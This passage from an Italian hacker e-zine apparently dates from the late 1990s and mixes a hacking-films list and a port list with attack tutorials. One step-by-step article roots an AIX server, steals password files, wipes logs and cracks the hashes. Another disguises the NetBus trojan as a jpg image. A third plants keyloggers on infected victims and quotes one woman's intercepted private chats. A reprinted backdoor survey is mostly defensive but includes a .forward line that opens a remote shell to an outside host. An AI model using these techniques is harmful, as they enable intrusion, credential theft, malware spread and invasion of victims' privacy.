alla citta' descritta in Neuromante... DIE HARD 2 = film uscito nel 90 con Bruce Willis come protagonista che parla di un attacco ad un aeroporto da parte di un gruppo di hacker terroristi che vogliono liberare il loro capo e ottengono cio' prendendo il controllo dell'aeroporto di nonso+checitta'...bella l'idea ma soprattutto la fine...e poi caz c'e' Bruce!!! THE NET = bel film, un po' poko credibile o complicato forse, dove la protagonista (Sandra Bullock) vive SOLO sui computer e quando ritorna da una vacanza si scopre che la sua casa e' stata venduta al suo lavoro c'e' un'altra che lavora li' e dice di essere lei e non puo' provare alla polizia di essere chi dice di essere xche' dove vive non ha amici "reali" e quindi comincia a "rivedere" gli amici virtuali e a chiedere aiuto a uno che vive nella sua stessa citta', ma si scopre che dietro a tutto c'e' una cosa troppo grande anke x lei...o no? JHONNY MNEMONIC = film con Keanu Reeves tratto da un racconto di William Gibson (Johnny Mnemonic appunto) che tratta di cyberpunk, computer, innesti, gigabyte di dati e di segreti, tutti elementi x rendere un film imperdibile. Se potete pero' leggetevi anke il racconto su carta oltre a vedere il film. VIOLA = film di cui mi hanno parlato ma non ne so nulla...; ps: sul filo conduttore della posta elettronica c'e' poi il film C'E' POSTA X TE ma non credo c'entri molto con gli hacker... TRON = vecchio ma bello, ma non lo ricordo bene causa anni passati da quando l'ho visto... LUPIN = lo so che il cartone di Lupin non e' un film e non centra con i computer ma secondo me non ci vuole un computer x essere un hacker, come mi disse un amico hacker (uno di quelli che quando passano strisciano le palle x terra) "Ricorda che hacking e' prima di tutto uno stile di vita , e solo secondariamente ha a che fare con i pc, un'hack e' anke il mio idraulico, che quando un rubinetto perde e non ha la stoppa usa il chewingum, hack e' inventiva, estro e fantasia!" Quindi da questa filosofia insegnatami, Lupin non e' un hacker mentre cerca di bucare cio' che e' considerato + che sicuro? MIA MOGLIE E' APERTA A TUTTI = questo non centra sicuramente con l'hacking ma se avete intenzione di vedere tutti quelli sopra descritti (+o-),una pausa di riflessione a meta' bisogna pure farla hihihi e questo vi assicuro e' un film che "allarghera'" i vostri confini, se vi piace prendete anche il seguito che si chiama "Mia moglie e' + aperta della tua"...e sappiatemi dire ok? eheheheheheheh Concludo ora con un breve discorso preso dal film "I Signori della truffa" che tuttoggi rimane il mio film preferito; premetto che quello che segue e' uno scambio di battute tra Robert Redford (l'ottimo protagonista ) e due che lui crede essere clienti venuti ad "affittare" lui e la sua squadra x testare la sicurezza dei propri sistemi, mentre in realta' i due sono dell'NSA (National Security Agency) (ps: i nomi non so se sono giusti): NSA1: Prima di cominciare vorremmo mettere bene in chiaro una cosa, in quasi tutte le ditte di questo tipo il personale e' composto da ex-tutori della legge, per il vostro gruppo invece e' un po'... RobertRedford: Lo so un po' diverso. NSA2: Un po' e' poco. /* e qui il duro dei 2 comincia a elencare i componenti del gruppo di RR */ NSA2: Darril Rosco, soprannominato Mamma, 18 mesi a Dannymore x furto con scasso... RobertRedford: Si', venne incastrato ma ha le mani migliori del settore. NSA2: Carl Arbugast, 19 anni, pescato mentre si inseriva nel computer della scuola di Oakland per modificare i suoi voti... RobertRedford: hihi lo so...siamo stati noi a beccarlo. NSA2: Irwine Eremy, detto Hi-Fi... RobertRedford: Si lo so, ebbe qualche problemino con la societa' telefonica.. NSA2: 62 capi d'accusa? Byez N0bodY88 ͻ Ŀ UNIX AIX ALLA JOHN THE RIPPER ٺ ͼ Ricetta del giorno: Unix Aix alla john the ripper Ingredienti: -una shell gia' sbollentata -un'exploit di stagione prelevato da www.rootshell.com o www.technotronic.com (io consiglio per l'Aix 4.1 l'lquery-aix che funzica alla grande) -un tool per "ripulire la cucina" (se non avete capito a cosa mi riferisca, beh lasciate perdere e fatevi due uova al tegamino...). Io consiglio zap2 che trovate un po' ovunque sulla rete (di nuovo www.technotronic.com o neworder.box.sk) -john the ripper e questo ve lo do io, sia in versione ottimizzata per mmx che per k6. Come dite?? Corca (corca=corcazzo ndt) che faremo girare un exe dato da sconosciuti sul nostro pc?? Malfidati! -una wordlist, ma bella polposa e grossa pero'! Meglio se italiana o nella lingua del paese della vostra shell...Anche qui vi do una mano: date un'okkiata a nomi.txt. Come dite?? Corca che faremo girare un txt dato da sconosciuti sul nostro pc?? Azzo allora siete dei fattoni...cambiate spacciatore! -sale e pepe quanto basta Difficolta': newbies Tempo di cottura: dipende dall'esperienza del cuoco... Possibili controindicazioni del piatto: sole a striscie ;) Premessa: il seguente piatto non e' indicato per i VERI hackers (come se chi leggesse 'sta e-zine lo fosse ;) ) o per gli espertoni. Seguendo la ricetta e mutatis mutandi andra' bene qualsiasi os Unix. Si presuppone che voi abbiate gia' una shell. Nel prox articolo *forse* vi diro' come ci si procura una shellozza. Per chi di voi sia all'univ. chiedete in giro: un laboratorio di informatica c'e' sempre, l'accesso ad internet e' frequente, farsi/rubare una shell non e' affatto difficile... Infine, seguendo alla lettera la ricetta forse otterrete un piatto commestibile ma rimarrete comunque degli chef a livello di hosteria di periferia (leggi lamah) se non vi sforzerete di capire cosa ci sia dietro. Detto questo e messo il cappello da chef si inizia! Aspettate qualche ora dopo il calar delle tenebre, e a notte fonda telnettatevi nella vostra shell. Fate un bel who per vedere se avete compagnia....se vedete root collegato allora, fischiettando vaghissimi, scollegatevi e riprovate piu' tardi. Se siete invece soli soletti sul server, inziate l'esplorazione. Siete alla ricerca del file passwd nel quale sono immagazzinate tutte le password degli account regolari su quel server. Se ad esempio siete in /usr/pippo/ fate due colpi di cd .. e poi un cd etc Bene ora dovreste essere in /etc/. Fate un cat passwd |pg e guardate il contenuto del file delle password. Sicuramente saranno shadowate (ma voi catturate sul vostro hd anche queste xche' dopo potrebbero tornare utili...). Ecchevvordi'? ecco un esempio: root:P7GYkX4uraYDg:0:1:Operator:/root:/bin/tcsh ---------> non shadowato ---- ------------- | | | |------> password cifrata (in questo caso con DES) |---------------> login dello user (in questo caso abbiamo l'amministratore del sys) root:!:0:1:Operator:/root:/bin/tcsh----------------------> shadowato ossia non appare neanche la password cifrata ma solo un "!". Altre importanti info deducibili dalla stringa del passwd (da technotronic.com): - Username is the name under which the user logs in. Usually this is accomplished by typing in the username at the username prompt and then the password at the password prompt. - Hash of user's password is the target of the cracking method. This is what the hash of each word in the dictionary file is compared to. - User's group number determines things such as access to certain files, etc. Used more in the exploit technique - User's number is basically identification for the system. - User's real name is the name the user entered. Not used by the system, but it provides a handy human-readable id of each user. - User's home directory is the directory that they go to when they log into the system. - User's shell is the user interface that the user uses. Shells include /bin/bash /bin/ash /bin/tcsh /bin/csh and /bin/sh Dove trovare il file con le passwd non shadowate: Unix Path Token ---------------------------------------------------------------------- AIX 3 /etc/security/passwd ! or /tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/ * BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb ----------------------------------------------------------------------------- Molto probabilmente quello che troverete sara' un passwd shadowato e quindi cosi' com'e' potete tirarvelo sui denti. Che fare allora? Bisogna accedere al file delle password non shadowato che in genere si trova sempre in /etc/shadow/ (non nel nostro caso...). Rimanendo in /etc/ se siete su AIX troverete una directory che passa assssolutamente inosservata: security (!). Se provate ad entrarci vi dira' che siete scemi perche' non siete root (almeno per ora ihihi). Tornate nella vostra directory, utilizzate l'exploit scelto precedentemente e preventivamente uploadato( nello sceglierlo accertatevi che vada bene per la rev dell'os in questione, facilmente ottenibile digitando uname -a). Compilatelo con gcc -o lquery-aix lquery-aix.c e poi ./lquery-aix e poi lquery-aix e poi.... kathaboom! Avete roottato (salute!). Ve ne rendete conto dal fatto che ora il prompt e' un # e che facendo id appare un bel 0 :)) Tornate in /etc/ ed entrate in /security/ (visto che ora vi fa accedere??). Individuate il file passwd che potrebbe essere opasswd e fate cat opasswd |pg Se avete un client telnet che vi permette di farlo, con copia e incolla catturate tutto quello che scorre sullo schermo. Fatto cio' si torna nella vostra dir, si compila il zap2.c (o qualsiasi altro tool voi abbiate scelto tipo cloak,hide,lastlogin,...) e lo si lancia...la cucina ora e' ripulita dalle nostre traccie (almeno le piu' evidenti, non tutte ovviamente). Digitate un bel logout e via. Ora siete sul vostro pc. Se le password catturate in /etc/security/ sono gia' nel formato esteso che vi ho mostrato prima potete andare di john the ripper altrimenti dovrete ricostruirvi qualcosa del genere. Mi spiego: al primo file catturato in /etc/passwd/ sostituite il "!" con la rispettiva password cifrata ottenuta dal file /etc/security/opasswd/ Bene. Ora dovreste avere il vostro bel file con tutti i login e relative password cifrate. E' tempo di John. Dezippate il John in una directory e nella stessa metteteci pure il file passwd ottenuto e la wordlist. Dal prompt DOS entrete nella dir scelta e digitate john -w:[tualista.txt] [tuopasswd.txt] Il nostro amico inizia subito a macinare password prendendole dal file da voi indicato (usate pure nomi.txt trovato qui, alcune password probabilmente si troveranno gia' cosi'). E' cmq importante che voi vi create la vostra personale wordlist oppure che ne scarichiate una il piu' grande possibile)...in pochi minuti se non secondi vedrete che le prime password usciranno subito. I piu' cojoni si ostinano ad usare password di senso compiuto senza numeri e caratteri speciali, magari dei nomi di persona (!)...ma a noi in fondo va bene cosi' :) Terminato il lavoro, eliminate dal vostro file di passwd gli account crakkati e ricominciate. Stavolta digitate john -i:alpha [tuopasswd.txt] in questo modo john provera' tutte e *solo* le permutazioni possibili tra le 26 lettere dell'alfabeto. Altre password cadranno all'attacco... eliminate pure queste dal file e andate avanti. Ora digitate john -i:digits [tuopasswd.txt] stavolta john prova tutte le combinazioni e *solo* con le cifre. Le password di sole cifre cadranno.... Ormai sapete che fare. Per quelle che rimarranno ancora usate john -i [tuopasswd.txt] john prova tutte le combinazioni alfanumeriche e carattersi speciali possibili. Per crakkare le password meglio pensate ci potrebbero volere anche giorni.... attualmente io ne sto crakkando una che dopo 10 ore ancora non vuole capitolare.... Ricordate che con ctrl+c si interrompe il processo che puo' essere ripristinato in un secondo momento ripartendo da dove si era interrotto john -restore durante il crakkaggio premendo qualsiasi tasto john vi dira' a che punto e'... Infine ricordate che John e' altamente configurabile, basta leggersi i file di help allegati. Ora siete root sul sistema, e avrete anche almeno il 50% delle password degli account...potrete fare il bello e il cattivo tempo, ma ricordate di non distruggere/cancellare nulla (se non le vostre traccie...), non date nell'occhio creando dir dai nomi assurdi e aggiungendo user a cazzo... Perche' poi non piazzare un bello sniffer? Ok that's all. Nota: sarebbe meglio fare il tutto passando per un proxy che ripulisca il nostro ip reale, per ovvi motivi. Per chi non resiste a rompere le @@ mi raggiungete qui: .McFly.@cryogen.com (se avete passwd da crakkare bene, ma solo con relativo host di provenienza, ok??) Passiamo ai saluti in ordine sparso: Nobody88 H3ll [jester] Vendikare Blackjam Anub|s Nervous LordFelix i ragazzi dell'Orda delle Badlands e quelli di BFI, #phreak.it #cybernet lo staff del Cert-it di Milano ;) **** McFly *** ------------- il vostro Gianfranco Vissani ------------- Concludo con una dotta citazione, pregna di significato: " aaaaaa pakoto pakoto....tze tze pakoto pakoto 'npar de cojoni! tze " (Bombolo, Delitto al ristorante cinese) ͻ Ŀ ARTICOLO DI CHRISTOPHER KLAUS X ROOTSHELL ٺ ͼ Quello che segue e' un articolo fatto da Christopher Klaus x Rootshell, e siccome e' interessante ho chiesto l'autorizzazione x pubblicarlo qui sulla ns e-zine NewBies, quindi buona lettura . ZeroCool Provoces the best you will die like a slave -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Since the early days of intruders breaking into computers, they have tried to develop techniques or backdoors that allow them to get back into the system. In this paper, it will be focused on many of the common backdoors and possible ways to check for them. Most of focus will be on Unix backdoors with some discussion on future Windows NT backdoors. This will describe the complexity of the issues in trying to determine the methods that intruders use and the basis for administrators understanding on how they might be able to stop the intruders from getting back in. When an administrator understands how difficult it would be to stop intruder once they are in, the appreciation of being proactive to block the intruder from ever getting in becomes better understood. This is intended to cover many of the popular commonly used backdoors by beginner and advanced intruders. This is not intended to cover every possible way to create a backdoor as the possibilities are limitless. The backdoor for most intruders provide two or three main functions: Be able to get back into a machine even if the administrator tries to secure it, e.g., changing all the passwords. Be able to get back into the machine with the least amount of visibility. Most backdoors provide a way to avoid being logged and many times the machine can appear to have no one online even while an intruder is using it. Be able to get back into the machine with the least amount of time. Most intruders want to easily get back into the machine without having to do all the work of exploiting a hole to gain access. In some cases, if the intruder may think the administrator may detect any installed backdoor, they will resort to using the vulnerability repeatedly to get on a machine as the only backdoor. Thus not touching anything that may tip off the administrator. Therefore in some cases, the vulnerabilities on a machine remain the only unnoticed backdoor. Password Cracking Backdoor One of the first and oldest methods of intruders used to gain not only access to a Unix machine but backdoors was to run a password cracker. This uncovers weak passworded accounts. All these new accounts are now possible backdoors into a machine even if the system administrator locks out the intruder's current account. Many times, the intruder will look for unused accounts with easy passwords and change the password to something difficult. When the administrator looked for all the weak passworded accounts, the accounts with modified passwords will not appear. Thus the administrator will not be able to easily determine which accounts to lock out. Rhosts + + Backdoor On networked Unix machines, services like Rsh and Rlogin used a simple authentication method based on hostnames that appear in rhosts. A user could easily configure which machines not to require a password to log into. An intruder that gained access to someone's rhosts file could put a "+ +" in the file and that would allow anyone from anywhere to log into that account without a password. Many intruders use this method especially when NFS is exporting home directories to the world. These accounts become backdoors for intruders to get back into the system. Many intruders prefer using Rsh over Rlogin because it is many times lacking any logging capability. Many administrators check for "+ +" therefore an intruder may actually put in a hostname and username from another compromised account on the network, making it less obvious to spot. Checksum and Timestamp Backdoors Early on, many intruders replaced binaries with their own trojan versions. Many system administrators relied on time-stamping and the system checksum programs, e.g., Unix's sum program, to try to determine when a binary file has been modified. Intruders have developed technology that will recreate the same time-stamp for the trojan file as the original file. This is accomplished by setting the system clock time back to the original file's time and then adjusting the trojan file's time to the system clock. Once the binary trojan file has the exact same time as the original, the system clock is reset to the current time. The sum program relies on a CRC checksum and is easily spoofed. Intruders have developed programs that would modify the trojan binary to have the necessary original checksum, thus fooling the administrators. MD5 checksums is the recommended choice to use today by most vendors. MD5 is based on an algorithm that no one has yet to date proven can be spoofed. Login Backdoor On Unix, the login program is the software that usually does the password authentication when someone telnets to the machine. Intruders grabbed the source code to login.c and modified it that when login compared the user's password with the stored password, it would first check for a backdoor password. If the user typed in the backdoor password, it would allow you to log in regardless of what the administrator sets the passwords to. Thus this allowed the intruder to log into any account, even root. The password backdoor would spawn access before the user actually logged in and appeared in utmp and wtmp. Therefore an intruder could be logged in and have shell access without it appearing anyone is on that machine as that account. Administrators started noticing these backdoors especially if they did a "strings" command to find what text was in the login program. Many times the backdoor password would show up. The intruders then encrypted or hid the backdoor password better so it would not appear by just doing strings. Many of the administrators can detect these backdoors with MD5 checksums. Telnetd Backdoor When a user telnets to the machine, inetd service listens on the port and receive the connection and then passes it to in.telnetd, that then runs login. Some intruders knew the administrator was checking the login program for tampering, so they modified in.telnetd. Within in.telnetd, it does several checks from the user for things like what kind of terminal the user was using. Typically, the terminal setting might be Xterm or VT100. An intruder could backdoor it so that when the terminal was set to "letmein", it would spawn a shell without requiring any authentication. Intruders have backdoored some services so that any connection from a specific source port can spawn a shell. Services Backdoor Almost every network service has at one time been backdoored by an intruder. Backdoored versions of finger, rsh, rexec, rlogin, ftp, even inetd, etc., have been floating around forever. There are programs that are nothing more than a shell connected to a TCP port with maybe a backdoor password to gain access. These programs sometimes replace a service like uucp that never gets used or they get added to the inetd.conf file as a new service. Administrators should be very wary of what services are running and analyze the original services by MD5 checksums. Cronjob backdoor Cronjob on Unix schedules when certain programs should be run. An intruder could add a backdoor shell program to run between 1 AM and 2 AM. So for 1 hour every night, the intruder could gain access. Intruders have also looked at legitimate programs that typically run in cronjob and built backdoors into those programs as well. Library backdoors Almost every UNIX system uses shared libraries. The shared libraries are intended to reuse many of the same routines thus cutting down on the size of programs. Some intruders have backdoored some of the routines like crypt.c and _crypt.c. Programs like login.c would use the crypt() routine and if a backdoor password was used it would spawn a shell. Therefore, even if the administrator was checking the MD5 of the login program, it was still spawning a backdoor routine and many administrators were not checking the libraries as a possible source of backdoors. One problem for many intruders was that some administrators started MD5 checksums of almost everything. One method intruders used to get around that is to backdoor the open() and file access routines. The backdoor routines were configured to read the original files, but execute the trojan backdoors. Therefore, when the MD5 checksum program was reading these files, the checksums always looked good. But when the system ran the program, it executed the trojan version. Even the trojan library itself, could be hidden from the MD5 checksums. One way to an administrator could get around this backdoor was to statically link the MD5 checksum checker and run on the system. The statically linked program does not use the trojan shared libraries. Kernel backdoors The kernel on Unix is the core of how Unix works. The same method used for libraries for bypassing MD5 checksum could be used at the kernel level, except even a statically linked program could not tell the difference. A good backdoored kernel is probably one of the hardest to find by administrators, fortunately kernel backdoor scripts have not yet been widely made available and no one knows how wide spread they really are. File system backdoors An intruder may want to store their loot or data on a server somewhere without the administrator finding the files. The intruder's files can typically contain their toolbox of exploit scripts, backdoors, sniffer logs, copied data like email messages, source code, etc. To hide these sometimes large files from an administrator, an intruder may patch the files system commands like "ls", "du", and "fsck" to hide the existence of certain directories or files. At a very low level, one intruder's backdoor created a section on the hard drive to have a proprietary format that was designated as "bad" sectors on the hard drive. Thus an intruder could access those hidden files with only special tools, but to the regular administrator, it is very difficult to determine that the marked "bad" sectors were indeed storage area for the hidden file system. Bootblock backdoors In the PC world, many viruses have hid themselves within the bootblock section and most antivirus software will check to see if the bootblock has been altered. On Unix, most administrators do not have any software that checks the bootblock, therefore some intruders have hidden some backdoors in the bootblock area. Process hiding backdoors An intruder many times wants to hide the programs they are running. The programs they want to hide are commonly a password cracker or a sniffer. There are quite a few methods and here are some of the more common: An intruder may write the program to modify its own argv[] to make it look like another process name. An intruder could rename the sniffer program to a legitimate service like in.syslog and run it. Thus when an administrator does a "ps" or looks at what is running, the standard service names appear. An intruder could modify the library routines so that "ps" does not show all the processes. An intruder could patch a backdoor or program into an interrupt driven routine so it does not appear in the process table. An example backdoor using this technique is amod.tar.gz available on http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html An intruder could modify the kernel to hide certain processes as well. Rootkit One of the most popular packages to install backdoors is rootkit. It can easily be located using Web search engines. From the Rootkit README, here are the typical files that get installed: z2 - removes entries from utmp, wtmp, and lastlog. Es - rokstar's ethernet sniffer for sun4 based kernels. Fix - try to fake checksums, install with same dates/perms/u/g. Sl - become root via a magic password sent to login. Ic - modified ifconfig to remove PROMISC flag from output. ps: - hides the processes. Ns - modified netstat to hide connections to certain machines. Ls - hides certain directories and files from being listed. du5 - hides how much space is being used on your hard drive. ls5 - hides certain files and directories from being listed. Network traffic backdoors Not only do intruders want to hide their tracks on the machine, but also they want to hide their network traffic as much as possible. These network traffic backdoors sometimes allow an intruder to gain access through a firewall. There are many network backdoor programs that allow an intruder to set up on a certain port number on a machine that will allow access without ever going through the normal services. Because the traffic is going to a non-standard network port, the administrator can overlook the intruder's traffic. These network traffic backdoors are typically using TCP, UDP, and ICMP, but it could be many other kinds of packets. TCP Shell Backdoors The intruder can set up these TCP Shell backdoors on some high port number possibly where the firewall is not blocking that TCP port. Many times, they will be protected with a password just so that an administrator that connects to it, will not immediately see shell access. An administrator can look for these connections with netstat to see what ports are listening and where current connections are going to and from. Many times, these backdoors allow an intruder to get past TCP Wrapper technology. These backdoors could be run on the SMTP port, which many firewalls allow traffic to pass for e-mail. UDP Shell Backdoors Administrator many times can spot a TCP connection and notice the odd behavior, while UDP shell backdoors lack any connection so netstat would not show an intruder accessing the Unix machine. Many firewalls have been configured to allow UDP packets for services like DNS through. Many times, intruders will place the UDP Shell backdoor on that port and it will be allowed to by-pass the firewall. ICMP Shell Backdoors Ping is one of the most common ways to find out if a machine is alive by sending and receiving ICMP packets. Many firewalls allow outsiders to ping internal machines. An intruder can put data in the Ping ICMP packets and tunnel a shell between the pinging machines. An administrator may notice a flurry of Ping packets, but unless the administrator looks at the data in the packets, an intruder can be unnoticed. Encrypted Link An administrator can set up a sniffer trying to see data appears as someone accessing a shell, but an intruder can add encryption to the Network traffic backdoors and it becomes almost impossible to determine what is actually being transmitted between two machines. Windows NT Because Windows NT does not easily allow multiple users on a single machine and remote access similar as Unix, it becomes harder for the intruder to break into Windows NT, install a backdoor, and launch an attack from it. Thus you will find more frequently network attacks that are spring boarded from a Unix box than Windows NT. As Windows NT advances in multi-user technologies, this may give a higher frequency of intruders who use Windows NT to their advantage. And if this does happen, many of the concepts from Unix backdoors can be ported to Windows NT and administrators can be ready for the intruder. Today, there are already telnet daemons available for Windows NT. With Network Traffic backdoors, they are very feasible for intruders to install on Windows NT. Solutions As backdoor technology advances, it becomes even harder for administrators to determine if an intruder has gotten in or if they have been successfully locked out. Assessment One of the first steps in being proactive is to assess how vulnerable your network is, thus being able to figure out what holes exist that should be fixed. Many commercial tools exist to help scan and audit the network and systems for vulnerabilities. Many companies could dramatically improve their security if they only installed the security patches made freely available by their vendors. MD5 Baselines One necessary component of a system scanner is MD5 checksum baselines. This MD5 baseline should be built up before a hacker attack with clean systems. Once a hacker is in and has installed backdoors, trying to create a baseline after the fact could incorporate the backdoors into the baseline. Several companies had been hacked and had backdoors installed on their systems for many months. Overtime, all the backups of the systems contained the backdoors. When some of these companies found out they had a hacker, they restored a backup in hopes of removing any backdoors. The effort was futile since they were restoring all the files, even the backdoored ones. The binary baseline comparison needs to be done before an attack happens. Intrusion detection Intrusion detection is becoming more important as organizations are hooking up and allowing connections to some of their machines. Most of the older intrusion detection technology was log-based events. The latest intrusion detection system (IDS) technology is based on real-time sniffing and network traffic security analysis. Many of the network traffic backdoors can now easily be detected. The latest IDS technology can take a look at the DNS UDP packets and determine if it matches the DNS protocol requests. If the data on the DNS port does not match the DNS protocol, an alert flag can be signaled and the data captured for further analysis. The same principle can be applied to the data in an ICMP packet to see if it is the normal ping data or if it is carrying encrypted shell session. Boot from CD-ROM. Some administrators may want to consider booting from CD-ROM thus eliminating the possibility of an intruder installing a backdoor on the CD-ROM. The problem with this method is the cost and time of implementing this solution enterprise wide. Vigilant Because the security field is changing so fast, with new vulnerabilities being announced daily and intruders are constantly designing new attack and backdoor techniques, no security technology is effective without vigilance. Be aware that no defense is foolproof, and that there is no substitute for diligent attention. ------------------------------------------------------------------------- you may want to add: .forward Backdoor On Unix machines, placing commands into the .forward file was also a common method of regaining access. For the account ``username'' a .forward file might be constructed as follows: \username |"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh" permutations of this method include alteration of the systems mail aliases file (most commonly located at /etc/aliases). Note that this is a simple permutation, the more advanced can run a simple script from the forward file that can take arbitrary commands via stdin (after minor preprocessing). PS: The above method is also useful gaining access a companies mailhub (assuming there is a shared a home directory FS on the client and server). > Using smrsh can effectively negate this backdoor (although it's quite > possibly still a problem if you allow things like elm's filter or > procmail which can run programs themselves...). --------------------------------------------------------------------------- you may want to add this "feature" that can act as a backdoor: when specifying a wrong uid/gid in the /etc/password file, most login(1) implementations will fail to detect the wrong uid/gid and atoi(3) will set uid/gid to 0, giving superuser privileges. example: rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh on Linux boxes, this will give uid 0 to user rmartin. Christopher Klaus ͻ Ŀ LISTA PORTE ٺ ͼ Fate Goool....ma nella giusta porta !!! Beh...io direi che ad un newbie (e non) la lista di tutte le porte, o quasi, serve SiemprE ! Sorseggio un sorso del mio Barolo, 2450 bottiglie in tutto il mondo.. porc'...vale quello che costa ve lo assicuro, ed inizio a fare sta listozza..... 7- Echo 9- 11- Info sugli user 13- Data e ora 15- Netstat ed info 19- Pours con ASCII 21- Ftp 22- 23- Login 25- Forge e-mail 37- Time 39- Rlp resource location 43- Whois 53- Dominio 67-Bootp 70- Gopmer 79- Finger 80- Server Web 87- Link 110-E-mail in entrata 113-Identp 119-Usenet Newsgroup 144-Newsk 443-Server Web 512-Biff notificazione posta 513-Login remoto 514-Remote command 515-Pkill 517-Ktalk 518-Ntalk 520-Information protocol 533-Netwall 560-Rmontior 561-Montior 750-Kerberos Queste sono le porte che conosco, le altre....boh?!?!? ahhahaha......divertitevi a cercarne altre...... So che siete dei tipi mooolto sEgaci.....ehmmm....sagaci... lavorate di mano !!!! :) Dante Alighieri /---------------------------------------------------------------------\ | N E T B U S | \_____________________________________________________________________/ Salve a tutti!, questo e il mio 1 articolo sul NewBies (speriamo non sia l'ultimo, ihihih)...qui vi mostrero' trucchetti su come fregare gli utenti dal netbus!... il primo trucco e quello di cambiare l'icona con un programma apposito e il secondo e quello di richiamare il programma da un'altra applicazione... --------------------------COME CAMBIARE LE ICONE----------------------- Adesso vi parlero' di un trucchetto imparato qualche settimana fa', che permette di 'fottere' gli utenti, inviandogli la patch del netbus (il trojano) con un'icona qualsiasi (un mp3, un jpg, un bmp , una dll,ecc) -=====================================================================- 1. Innanzitutto prendete il programma MICROANGELO, (reperibile in rete... Volftp)- NON PRENDETE IL GIFTED CHE NON VI SERVE A UN CAZZO! 2. Aprite il librarian (col microangelo) e selezionate un'icona a piacimento... 3. Una volta dentro l'editor di icone, selezionate tutto e fate COPIA - Ctrl - C 4. Una volta che siete usciti, aprite la patch col LIBrARIAN, e aprite l'icona principale (Quella con l'antenna parabolica..) e sucessivamente incollare l'itero contenuto della clipboard (cioe', l'icona che avevamo copiato prima), sopra l'icona della patch, adesso abbiamo una patch come si deve!!! ALTRo MeTODO - PIU' BELLO - USATO FREQUENTEMENTE IN ICQ 1. Aprite il librarian... 2. Andate in C:\Programmi\Internet Explorer\Iexplore.exe e vedete il contenuto... 3. Aprite l'icona dell'immagine jpg coll'editor... 4. Copiate con Ctrl - C 5. Prendete la patch e inseritegli la nuova icona... 6. Salvate il tutto e prendete il patchone appena modificato... 7. Rinominatelo in Pamela.jpg .exe (Cercate di mettere tutti gli spazi possibili tra .jpg e .exe) cosi' la vittima, alla ricezione del filez, non vedra' l'ultima parte infettandosi alla grande... Alla ricezione del file, la vittima ricevera' questa finestra... ________________________________ | | | ICO Pamela.jpg | | ICO | | ICO OPEN GOTODIR | |________________________________| Se sara' cosi'. allora la aprira' immediatamente, perche pensa che sia una vera foto... ________________________________ | | | ICO Pamela.jpg .exe | | ICO | | ICO OPEN GOTODIR | |________________________________| Se invece non avete inserito tutti gli spazi, sara' visibile il riquadro sovrastante... :-) PSSSSSSSSSSS Se vi rompete i coglioni ad andare a cercare le icone, ne ho inserite alcune nel file zip, Sephy -----------------COME FARE APRIRE LA PATCH SENZA SOSPETTI-------------- INNANZITUTTO CAMBIATE L'ICONA DELLA PATCH CON UNA DLL Questo e un metodo alquanto bastardo (beh, lo devo dire anch'io...) infatti, se sapete usare il visual basic o il C, potete semplicemente compilare un programma che quando avviato, apre la patch e svolge il suo lavoro... ad esempio... facciamo finta di aver creato alcune cartelle... PROGGY --->BIN come vedremo, BIN e una sottodirectory di proggy... e li dentro metteremo la patch, che rinomineremo come SySres.exe Successivamente creeremo un programma qualsiasi ... dopo aver finito tutto il listato, inserire questa stringa nel Form_Load (quando si avvia il programma...) X = Shell("Bin\sysres.exe", 1) Come vediamo, il prog, chiama la patch all'interno della directory BIN (se e' presente !) Il prog si esegue senza problemi, non facendo pensare all'utente che il trojan e' installato (chi lo capirebbe?) P.s. se trovate altri metodi scrivetemi a Giorgio@videobank.it Ciaoo! Sephiroth ͻ Ŀ KEY LOGGER QUESTO SCONOSCIUTO ٺ ͼ Salve, sono sempre io (eheheh), questa volta vi parlo di un'altra cosa MOOOLTO bella... i keylogger... Per chi non lo sapesse, i keylogger, sono quei programmi che ti permettono di vedere tutti i tasti che una persona ha premuto... questo viene usato dagli amministratori di sistema ... Pero', la cosa puo' diventare anke bella se li mettiamo alle vittime che abbiamo infettato... infatti, una volta che siamo dentro il pc di un povero pirla, possiamo uploadare il keylogger, e il giorno dopo potremo scaricare i log.... fico no? In questa NewBies allego un mio files, contenente il programma ed una dll... e un LNK (MOlto IMPORTANTE!!!) Nonostante questa procedura sia da lamer, io mi diverto lo stesso... l'altro giorno, scaricai i log di XXX (non metto il nome... comunque e una DONNA...) col netbus, e vidi tutto il contenuto... tra i vari documenti che lei aveva scritto vidi anche il log delle sue discussioni in ICQ... qui ne riporto qualcuna... -Ciao, sono XXX XXX, sono alta, cosce focose ma poche pere... -Allora ci vedremo amoruccio mio, vorrei venire li e scopare con te fino all'orgasmo... Quindi, i msg parlano da soli... inoltre ho visto pure la password e il login della vittima... Quindi, le istruzioni per ottenere risualtati efficenti sono queste : Uploadare i seguenti filez in: FILE DIR WinMem C:\Windows Qpro200.dll C:\Windows\System WinMem.lnk C:\Windows\Menuavvio\EsecuzioneAutomatica Se si uploadano files in diverse locazioni, allora il programma non funzionera'... Per prendere i log, dovete andare nella dir C:\Win\logx OTA CHE WIN NON STA PER WINDOWS, E UNA DIR A PARTE!!!! Se avete ancora dubbi (argh..) mailatemi a Giorgio@videobank.it oppure Contattatemi via ICQ... 23157482 CiAoZ Sephiroth **************************** * Overclocking by ULNTWH99 * ulntwh99@freemail.it **************************** NB : se non avete letto l'art precedente a questo (per altro molto corto leggetevelo o , se non avete gia' 1a buona conoscenza hardware , capirete poco ...) . Disclamer (lo sapete a memoria quindi non lo metto :P ) . Ora riprendero' in tronco li' l'articolo da dove lo ho lasciato ! Come nell'ultima parte dell'art precedente ho spiegato accade "cosi'" anche nei sistemi Pentium . Prendiamo ad esempio un pentium MMX (dato che di solito sono le maccine di vecchia data che vengono clokkate ...) a 166 MHz che deve essere montato da specifiche su mainboard a 66 MHz . La 